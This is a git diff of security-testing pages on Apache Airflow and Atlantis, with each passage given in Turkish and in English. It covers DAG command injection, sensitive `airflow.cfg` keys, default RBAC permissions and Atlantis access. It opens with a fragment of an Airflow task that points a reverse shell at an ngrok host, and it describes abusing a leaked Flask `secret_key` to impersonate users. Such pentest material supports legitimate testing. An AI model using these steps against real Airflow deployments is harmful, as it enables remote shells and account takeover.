task_id='rs_python2',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
||||
run = PythonOperator(
|
||||
task_id='rs_python2',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
||||
```
|
||||
#### DAG Oluşturma
|
||||
|
||||
Eğer **DAG kümesindeki bir makineyi ele geçirirseniz**, `dags/` klasöründe yeni **DAG'lar scriptleri** oluşturabilirsiniz ve bunlar **DAG kümesindeki diğer makinelere** **kopyalanacaktır**.
|
||||
#### DAG Creation
|
||||
|
||||
#### DAG Kod Enjeksiyonu
|
||||
If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster.
|
||||
|
||||
GUI'den bir DAG çalıştırdığınızda ona **argümanlar** **geçebilirsiniz**.\
|
||||
Bu nedenle, eğer DAG düzgün kodlanmamışsa **Komut Enjeksiyonuna** **açık** olabilir.\
|
||||
Bu, bu CVE'de olan bir durumdur: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
|
||||
#### DAG Code Injection
|
||||
|
||||
**DAG'lerde komut enjeksiyonları aramaya başlamak için bilmeniz gereken tek şey**, **parametrelerin** **`dag_run.conf.get("param_name")`** kodu ile **erişildiğidir**.
|
||||
When you execute a DAG from the GUI you can **pass arguments** to it.\
|
||||
Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\
|
||||
That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
|
||||
|
||||
All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**.
|
||||
|
||||
Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**:
|
||||
|
||||
Ayrıca, aynı zafiyet **değişkenlerle** de meydana gelebilir (yeterli ayrıcalıklara sahip olduğunuzda **değişkenlerin değerini** GUI'de **kontrol edebilirsiniz**). Değişkenler **şu şekilde erişilir**:
|
||||
```python
|
||||
from airflow.models import Variable
|
||||
[...]
|
||||
foo = Variable.get("foo")
|
||||
```
|
||||
Eğer örneğin bir bash komutunun içinde kullanılırlarsa, bir komut enjeksiyonu gerçekleştirebilirsiniz.
|
||||
|
||||
If they are used for example inside a a bash command, you could perform a command injection.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,102 +4,111 @@
|
||||
|
||||
## Configuration File
|
||||
|
||||
**Apache Airflow**, tüm airflow makinelerinde **`airflow.cfg`** adında bir **config dosyası** oluşturur. Bu config dosyası, yapılandırma bilgilerini içerir ve **ilginç ve hassas bilgiler içerebilir.**
|
||||
**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.**
|
||||
|
||||
**Bu dosyaya erişmenin iki yolu vardır: bazı airflow makinelerini tehlikeye atarak veya web konsoluna erişerek.**
|
||||
**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.**
|
||||
|
||||
**Config dosyasındaki değerlerin** **kullanılanlar olmayabileceğini** unutmayın, çünkü `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'` gibi ortam değişkenleri ayarlayarak bunları geçersiz kılabilirsiniz.
|
||||
Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
|
||||
|
||||
Eğer **web sunucusundaki config dosyasına** erişiminiz varsa, config'in görüntülendiği aynı sayfada **gerçek çalışan yapılandırmayı** kontrol edebilirsiniz.\
|
||||
Eğer **airflow ortamındaki bir makineye** erişiminiz varsa, **ortamı** kontrol edin.
|
||||
If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\
|
||||
If you have **access to some machine inside the airflow env**, check the **environment**.
|
||||
|
||||
Config dosyasını okurken kontrol edilecek bazı ilginç değerler:
|
||||
Some interesting values to check when reading the config file:
|
||||
|
||||
### \[api]
|
||||
|
||||
- **`access_control_allow_headers`**: Bu, **CORS** için **izin verilen** **başlıkları** gösterir.
|
||||
- **`access_control_allow_methods`**: Bu, **CORS** için **izin verilen yöntemleri** gösterir.
|
||||
- **`access_control_allow_origins`**: Bu, **CORS** için **izin verilen kökenleri** gösterir.
|
||||
- **`auth_backend`**: [**Belgelerde belirtildiği gibi**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) API'ye kimlerin erişebileceğini yapılandırmak için birkaç seçenek mevcuttur:
|
||||
- `airflow.api.auth.backend.deny_all`: **Varsayılan olarak kimse** API'ye erişemez.
|
||||
- `airflow.api.auth.backend.default`: **Herkes** kimlik doğrulaması olmadan erişebilir.
|
||||
- `airflow.api.auth.backend.kerberos_auth`: **kerberos kimlik doğrulamasını** yapılandırmak için.
|
||||
- `airflow.api.auth.backend.basic_auth`: **temel kimlik doğrulaması** için.
|
||||
- `airflow.composer.api.backend.composer_auth`: Kompozitör kimlik doğrulamasını kullanır (GCP) ( [**buradan**](https://cloud.google.com/composer/docs/access-airflow-api)).
|
||||
- `composer_auth_user_registration_role`: Bu, **airflow** içinde **kompozitör kullanıcısının** alacağı **rolü** gösterir (**Op** varsayılan olarak).
|
||||
- Ayrıca **kendi kimlik doğrulama** yöntemlerinizi python ile oluşturabilirsiniz.
|
||||
- **`google_key_path`:** **GCP hizmet hesabı anahtarının** yolu.
|
||||
- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS**
|
||||
- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS**
|
||||
- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS**
|
||||
- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API:
|
||||
- `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API
|
||||
- `airflow.api.auth.backend.default`: **Everyone can** access it without authentication
|
||||
- `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication**
|
||||
- `airflow.api.auth.backend.basic_auth`: For **basic authentication**
|
||||
- `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)).
|
||||
- `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default).
|
||||
- You can also **create you own authentication** method with python.
|
||||
- **`google_key_path`:** Path to the **GCP service account key**
|
||||
|
||||
### **\[atlas]**
|
||||
|
||||
- **`password`**: Atlas şifresi.
|
||||
- **`username`**: Atlas kullanıcı adı.
|
||||
- **`password`**: Atlas password
|
||||
- **`username`**: Atlas username
|
||||
|
||||
### \[celery]
|
||||
|
||||
- **`flower_basic_auth`** : Kimlik bilgileri (_user1:password1,user2:password2_)
|
||||
- **`result_backend`**: **kimlik bilgilerini** içerebilecek Postgres url'si.
|
||||
- **`ssl_cacert`**: cacert'in yolu.
|
||||
- **`ssl_cert`**: sertifikanın yolu.
|
||||
- **`ssl_key`**: anahtarın yolu.
|
||||
- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_)
|
||||
- **`result_backend`**: Postgres url which may contain **credentials**.
|
||||
- **`ssl_cacert`**: Path to the cacert
|
||||
- **`ssl_cert`**: Path to the cert
|
||||
- **`ssl_key`**: Path to the key
|
||||
|
||||
### \[core]
|
||||
|
||||
- **`dag_discovery_safe_mode`**: Varsayılan olarak etkin. DAG'leri keşfederken, `DAG` ve `airflow` dizelerini içermeyen dosyaları göz ardı edin.
|
||||
- **`fernet_key`**: Şifrelenmiş değişkenleri saklamak için anahtar (simetrik).
|
||||
- **`hide_sensitive_var_conn_fields`**: Varsayılan olarak etkin, bağlantıların hassas bilgilerini gizler.
|
||||
- **`security`**: Hangi güvenlik modülünün kullanılacağı (örneğin kerberos).
|
||||
- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`.
|
||||
- **`fernet_key`**: Key to store encrypted variables (symmetric)
|
||||
- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections.
|
||||
- **`security`**: What security module to use (for example kerberos)
|
||||
|
||||
### \[dask]
|
||||
|
||||
- **`tls_ca`**: ca'nın yolu.
|
||||
- **`tls_cert`**: sertifikanın yolu.
|
||||
- **`tls_key`**: tls anahtarının yolu.
|
||||
- **`tls_ca`**: Path to ca
|
||||
- **`tls_cert`**: Part to the cert
|
||||
- **`tls_key`**: Part to the tls key
|
||||
|
||||
### \[kerberos]
|
||||
|
||||
- **`ccache`**: ccache dosyasının yolu.
|
||||
- **`forwardable`**: Varsayılan olarak etkin.
|
||||
- **`ccache`**: Path to ccache file
|
||||
- **`forwardable`**: Enabled by default
|
||||
|
||||
### \[logging]
|
||||
|
||||
- **`google_key_path`**: GCP JSON kimlik bilgilerine giden yol.
|
||||
- **`google_key_path`**: Path to GCP JSON creds.
|
||||
|
||||
### \[secrets]
|
||||
|
||||
- **`backend`**: Etkinleştirilecek gizli arka uç sınıfının tam adı.
|
||||
- **`backend_kwargs`**: backend_kwargs parametresi bir sözlüğe yüklenir ve gizli arka uç sınıfının **init**'ine geçirilir.
|
||||
- **`backend`**: Full class name of secrets backend to enable
|
||||
- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class.
|
||||
|
||||
### \[smtp]
|
||||
|
||||
- **`smtp_password`**: SMTP şifresi.
|
||||
- **`smtp_user`**: SMTP kullanıcısı.
|
||||
- **`smtp_password`**: SMTP password
|
||||
- **`smtp_user`**: SMTP user
|
||||
|
||||
### \[webserver]
|
||||
|
||||
- **`cookie_samesite`**: Varsayılan olarak **Lax**'dır, bu nedenle zaten mümkün olan en zayıf değerdir.
|
||||
- **`cookie_secure`**: oturum çerezi üzerinde **güvenli bayrağı** ayarlayın.
|
||||
- **`expose_config`**: Varsayılan olarak False'dur, eğer true ise, **config** web **konsolundan** **okunabilir**.
|
||||
- **`expose_stacktrace`**: Varsayılan olarak True'dur, **python traceback'lerini** gösterecektir (potansiyel olarak bir saldırgan için yararlı).
|
||||
- **`secret_key`**: Bu, çerezleri imzalamak için flask tarafından kullanılan **anahtardır** (eğer buna sahipseniz, **Airflow'daki herhangi bir kullanıcıyı taklit edebilirsiniz**).
|
||||
- **`web_server_ssl_cert`**: **SSL** **sertifikasının** **yolu**.
|
||||
- **`web_server_ssl_key`**: **SSL** **Anahtarının** **yolu**.
|
||||
- **`x_frame_enabled`**: Varsayılan **True**'dur, bu nedenle varsayılan olarak clickjacking mümkün değildir.
|
||||
- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value
|
||||
- **`cookie_secure`**: Set **secure flag** on the the session cookie
|
||||
- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console**
|
||||
- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker)
|
||||
- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**)
|
||||
- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert**
|
||||
- **`web_server_ssl_key`**: **Path** to the **SSL** **Key**
|
||||
- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible
|
||||
|
||||
### Web Authentication
|
||||
|
||||
Varsayılan olarak **web authentication**, **`webserver_config.py`** dosyasında belirtilmiştir ve şu şekilde yapılandırılmıştır:
|
||||
By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as
|
||||
|
||||
```bash
|
||||
AUTH_TYPE = AUTH_DB
|
||||
```
|
||||
Bu, **kimlik doğrulamanın veritabanına karşı kontrol edildiği** anlamına gelir. Ancak, aşağıdaki gibi diğer yapılandırmalar da mümkündür:
|
||||
|
||||
Which means that the **authentication is checked against the database**. However, other configurations are possible like
|
||||
|
||||
```bash
|
||||
AUTH_TYPE = AUTH_OAUTH
|
||||
```
|
||||
**Üçüncü taraf hizmetlere** **kimlik doğrulamasını** bırakmak için.
|
||||
|
||||
Ancak, **anonim kullanıcıların erişimine** izin verme seçeneği de vardır, aşağıdaki parametreyi **istenen role** ayarlayarak:
|
||||
To leave the **authentication to third party services**.
|
||||
|
||||
However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**:
|
||||
|
||||
```bash
|
||||
AUTH_ROLE_PUBLIC = 'Admin'
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,40 +4,43 @@
|
||||
|
||||
## RBAC
|
||||
|
||||
(Dokümanlardan)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow, varsayılan olarak **bir dizi rol ile birlikte gelir**: **Admin**, **Kullanıcı**, **Op**, **Görüntüleyici** ve **Herkese Açık**. **Sadece `Admin`** kullanıcıları **diğer rollerin izinlerini yapılandırabilir/değiştirebilir**. Ancak `Admin` kullanıcılarının bu varsayılan rolleri, bu rollere izin ekleyerek veya çıkararak değiştirmeleri önerilmez.
|
||||
(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
|
||||
|
||||
- **`Admin`** kullanıcıları tüm olası izinlere sahiptir.
|
||||
- **`Public`** kullanıcıları (anonim) hiçbir izne sahip değildir.
|
||||
- **`Viewer`** kullanıcıları sınırlı görüntüleme izinlerine sahiptir (sadece okuma). **Yapılandırmayı göremez.**
|
||||
- **`User`** kullanıcıları `Viewer` izinlerine ek olarak DAG'leri biraz yönetmelerine olanak tanıyan ek kullanıcı izinlerine sahiptir. **Yapılandırma dosyasını görebilir.**
|
||||
- **`Op`** kullanıcıları `User` izinlerine ek olarak ek op izinlerine sahiptir.
|
||||
- **`Admin`** users have all possible permissions.
|
||||
- **`Public`** users (anonymous) don’t have any permissions.
|
||||
- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.**
|
||||
- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file**
|
||||
- **`Op`** users have `User` permissions plus additional op permissions.
|
||||
|
||||
**Admin** kullanıcılarının daha **detaylı izinlere sahip daha fazla rol oluşturabileceğini** unutmayın.
|
||||
Note that **admin** users can **create more roles** with more **granular permissions**.
|
||||
|
||||
Ayrıca, kullanıcıları ve rolleri listeleme iznine sahip tek varsayılan rolün **Admin olduğunu, hatta Op'un bile bunu yapamayacağını** unutmayın.
|
||||
Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that.
|
||||
|
||||
### Varsayılan İzinler
|
||||
### Default Permissions
|
||||
|
||||
Varsayılan role göre varsayılan izinler şunlardır:
|
||||
These are the default permissions per default role:
|
||||
|
||||
- **Admin**
|
||||
|
||||
\[Connections üzerinde silme, Connections üzerinde okuma, Connections üzerinde düzenleme, Connections üzerinde oluşturma, DAG'ler üzerinde okuma, DAG'ler üzerinde düzenleme, DAG'ler üzerinde silme, DAG Çalışmaları üzerinde okuma, Görev Örnekleri üzerinde okuma, Görev Örnekleri üzerinde düzenleme, DAG Çalışmaları üzerinde silme, DAG Çalışmaları üzerinde oluşturma, DAG Çalışmaları üzerinde düzenleme, Denetim Günlükleri üzerinde okuma, ImportError üzerinde okuma, Havuzlar üzerinde silme, Havuzlar üzerinde okuma, Havuzlar üzerinde düzenleme, Havuzlar üzerinde oluşturma, Sağlayıcılar üzerinde okuma, Değişkenler üzerinde silme, Değişkenler üzerinde okuma, Değişkenler üzerinde düzenleme, Değişkenler üzerinde oluşturma, XComs üzerinde okuma, DAG Kodu üzerinde okuma, Yapılandırmalar üzerinde okuma, Eklentiler üzerinde okuma, Roller üzerinde okuma, İzinler üzerinde okuma, Roller üzerinde silme, Roller üzerinde düzenleme, Roller üzerinde oluşturma, Kullanıcılar üzerinde okuma, Kullanıcılar üzerinde oluşturma, Kullanıcılar üzerinde düzenleme, Kullanıcılar üzerinde silme, DAG Bağımlılıkları üzerinde okuma, İşler üzerinde okuma, Şifrem üzerinde okuma, Şifrem üzerinde düzenleme, Profilim üzerinde okuma, Profilim üzerinde düzenleme, SLA Kaçırmaları üzerinde okuma, Görev Günlükleri üzerinde okuma, Web Sitesi üzerinde okuma, Gözatmada menü erişimi, DAG Bağımlılıklarında menü erişimi, DAG Çalışmalarında menü erişimi, Belgelerde menü erişimi, Belgelerde menü erişimi, İşlerde menü erişimi, Denetim Günlüklerinde menü erişimi, Eklentilerde menü erişimi, SLA Kaçırmalarında menü erişimi, Görev Örneklerinde menü erişimi, Görev Örneklerinde oluşturma, Görev Örneklerinde silme, Admin'de menü erişimi, Yapılandırmalarda menü erişimi, Connections'da menü erişimi, Havuzlarda menü erişimi, Değişkenlerde menü erişimi, XComs'da menü erişimi, XComs üzerinde silme, Görev Yeniden Planlamaları üzerinde okuma, Görev Yeniden Planlamaları üzerinde menü erişimi, Tetikleyiciler üzerinde okuma, Tetikleyiciler üzerinde menü erişimi, Şifreler üzerinde okuma, Şifreler üzerinde düzenleme, Kullanıcıları Listelemede menü erişimi, Güvenlikte menü erişimi, Roller Listesinde menü erişimi, Kullanıcı İstatistikleri Grafiği üzerinde okuma, Kullanıcı İstatistiklerinde menü erişimi, Temel İzinlerde menü erişimi, Görünüm Menülerinde okuma, Görünümler/Menülerde menü erişimi, İzin Görünümlerinde okuma, Görünümler/Menülerde İzin üzerinde menü erişimi, MenuApi üzerinde alma, Sağlayıcılarda menü erişimi, XComs üzerinde oluşturma]
|
||||
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs]
|
||||
|
||||
- **Op**
|
||||
|
||||
\[Connections üzerinde silme, Connections üzerinde okuma, Connections üzerinde düzenleme, Connections üzerinde oluşturma, DAG'ler üzerinde okuma, DAG'ler üzerinde düzenleme, DAG'ler üzerinde silme, DAG Çalışmaları üzerinde okuma, Görev Örnekleri üzerinde okuma, Görev Örnekleri üzerinde düzenleme, DAG Çalışmaları üzerinde silme, DAG Çalışmaları üzerinde oluşturma, DAG Çalışmaları üzerinde düzenleme, Denetim Günlükleri üzerinde okuma, ImportError üzerinde okuma, Havuzlar üzerinde silme, Havuzlar üzerinde okuma, Havuzlar üzerinde düzenleme, Havuzlar üzerinde oluşturma, Sağlayıcılar üzerinde okuma, Değişkenler üzerinde silme, Değişkenler üzerinde okuma, Değişkenler üzerinde düzenleme, Değişkenler üzerinde oluşturma, XComs üzerinde okuma, DAG Kodu üzerinde okuma, Yapılandırmalar üzerinde okuma, Eklentiler üzerinde okuma, DAG Bağımlılıkları üzerinde okuma, İşler üzerinde okuma, Şifrem üzerinde okuma, Şifrem üzerinde düzenleme, Profilim üzerinde okuma, Profilim üzerinde düzenleme, SLA Kaçırmaları üzerinde okuma, Görev Günlükleri üzerinde okuma, Web Sitesi üzerinde okuma, Gözatmada menü erişimi, DAG Bağımlılıklarında menü erişimi, DAG Çalışmalarında menü erişimi, Belgelerde menü erişimi, Belgelerde menü erişimi, İşlerde menü erişimi, Denetim Günlüklerinde menü erişimi, Eklentilerde menü erişimi, SLA Kaçırmalarında menü erişimi, Görev Örneklerinde menü erişimi, Görev Örneklerinde oluşturma, Görev Örneklerinde silme, Admin'de menü erişimi, Yapılandırmalarda menü erişimi, Connections'da menü erişimi, Havuzlarda menü erişimi, Değişkenlerde menü erişimi, XComs'da menü erişimi, XComs üzerinde silme]
|
||||
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs]
|
||||
|
||||
- **User**
|
||||
|
||||
\[DAG'ler üzerinde okuma, DAG'ler üzerinde düzenleme, DAG'ler üzerinde silme, DAG Çalışmaları üzerinde okuma, Görev Örnekleri üzerinde okuma, Görev Örnekleri üzerinde düzenleme, DAG Çalışmaları üzerinde silme, DAG Çalışmaları üzerinde oluşturma, DAG Çalışmaları üzerinde düzenleme, Denetim Günlükleri üzerinde okuma, ImportError üzerinde okuma, XComs üzerinde okuma, DAG Kodu üzerinde okuma, Eklentiler üzerinde okuma, DAG Bağımlılıkları üzerinde okuma, İşler üzerinde okuma, Şifrem üzerinde okuma, Şifrem üzerinde düzenleme, Profilim üzerinde okuma, Profilim üzerinde düzenleme, SLA Kaçırmaları üzerinde okuma, Görev Günlükleri üzerinde okuma, Web Sitesi üzerinde okuma, Gözatmada menü erişimi, DAG Bağımlılıklarında menü erişimi, DAG Çalışmalarında menü erişimi, Belgelerde menü erişimi, Belgelerde menü erişimi, İşlerde menü erişimi, Denetim Günlüklerinde menü erişimi, Eklentilerde menü erişimi, SLA Kaçırmalarında menü erişimi, Görev Örneklerinde menü erişimi, Görev Örneklerinde oluşturma, Görev Örneklerinde silme]
|
||||
\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances]
|
||||
|
||||
- **Viewer**
|
||||
|
||||
\[DAG'ler üzerinde okuma, DAG Çalışmaları üzerinde okuma, Görev Örnekleri üzerinde okuma, Denetim Günlükleri üzerinde okuma, ImportError üzerinde okuma, XComs üzerinde okuma, DAG Kodu üzerinde okuma, Eklentiler üzerinde okuma, DAG Bağımlılıkları üzerinde okuma, İşler üzerinde okuma, Şifrem üzerinde okuma, Şifrem üzerinde düzenleme, Profilim üzerinde okuma, Profilim üzerinde düzenleme, SLA Kaçırmaları üzerinde okuma, Görev Günlükleri üzerinde okuma, Web Sitesi üzerinde okuma, Gözatmada menü erişimi, DAG Bağımlılıklarında menü erişimi, DAG Çalışmalarında menü erişimi, Belgelerde menü erişimi, Belgelerde menü erişimi, İşlerde menü erişimi, Denetim Günlüklerinde menü erişimi, Eklentilerde menü erişimi, SLA Kaçırmalarında menü erişimi, Görev Örneklerinde menü erişimi]
|
||||
\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances]
|
||||
|
||||
- **Public**
|
||||
|
||||
\[]
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,112 +1,112 @@
|
||||
# Atlantis Güvenliği
|
||||
# Atlantis Security
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### Temel Bilgiler
|
||||
### Basic Information
|
||||
|
||||
Atlantis, temel olarak git sunucunuzdan Pull Request'lerden terraform çalıştırmanıza yardımcı olur.
|
||||
Atlantis basically helps you to to run terraform from Pull Requests from your git server.
|
||||
|
||||
.png>)
|
||||
|
||||
### Yerel Laboratuvar
|
||||
### Local Lab
|
||||
|
||||
1. [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) adresindeki **atlantis sürüm sayfasına** gidin ve size uygun olanı **indirin**.
|
||||
2. **github** kullanıcınız için bir **kişisel token** (repo erişimi ile) oluşturun.
|
||||
3. `./atlantis testdrive` komutunu çalıştırın ve **atlantis ile konuşmak için** kullanabileceğiniz bir **demo repo** oluşturulacaktır.
|
||||
4. Web sayfasına 127.0.0.1:4141 adresinden erişebilirsiniz.
|
||||
1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you.
|
||||
2. Create a **personal token** (with repo access) of your **github** user
|
||||
3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis**
|
||||
1. You can access the web page in 127.0.0.1:4141
|
||||
|
||||
### Atlantis Erişimi
|
||||
### Atlantis Access
|
||||
|
||||
#### Git Sunucu Kimlik Bilgileri
|
||||
#### Git Server Credentials
|
||||
|
||||
**Atlantis**, **Github**, **Gitlab**, **Bitbucket** ve **Azure DevOps** gibi çeşitli git sunucularını destekler.\
|
||||
Ancak, bu platformlardaki repo'lara erişmek ve işlemler gerçekleştirmek için bazı **ayrıcalıklı erişimlerin verilmesi** gerekir (en azından yazma izinleri).\
|
||||
[**Belgeler**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional), Atlantis için bu platformlarda özel bir kullanıcı oluşturulmasını teşvik eder, ancak bazı insanlar kişisel hesaplar kullanabilir.
|
||||
**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\
|
||||
However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\
|
||||
[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts.
|
||||
|
||||
> [!WARNING]
|
||||
> Her durumda, bir saldırgan perspektifinden, **Atlantis hesabı** çok **ilginç** bir **hedef** olacaktır.
|
||||
> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**.
|
||||
|
||||
#### Webhook'lar
|
||||
#### Webhooks
|
||||
|
||||
Atlantis, Git sunucunuzdan aldığı **webhook'ların** **meşru** olduğunu doğrulamak için isteğe bağlı olarak [**Webhook gizli anahtarları**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) kullanır.
|
||||
Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**.
|
||||
|
||||
Bunu doğrulamanın bir yolu, **isteklerin yalnızca Git sunucunuzun IP'lerinden gelmesine izin vermek** olacaktır, ancak daha kolay bir yol Webhook Gizli Anahtarı kullanmaktır.
|
||||
One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret.
|
||||
|
||||
Özel bir github veya bitbucket sunucusu kullanmadığınız sürece, webhook uç noktalarını internete açmanız gerekecektir.
|
||||
Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet.
|
||||
|
||||
> [!WARNING]
|
||||
> Atlantis, git sunucusunun bilgi gönderebilmesi için **webhook'ları açığa çıkaracaktır**. Bir saldırgan perspektifinden, **ona mesaj gönderip gönderemeyeceğinizi** bilmek ilginç olacaktır.
|
||||
> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**.
|
||||
|
||||
#### Sağlayıcı Kimlik Bilgileri <a href="#provider-credentials" id="provider-credentials"></a>
|
||||
#### Provider Credentials <a href="#provider-credentials" id="provider-credentials"></a>
|
||||
|
||||
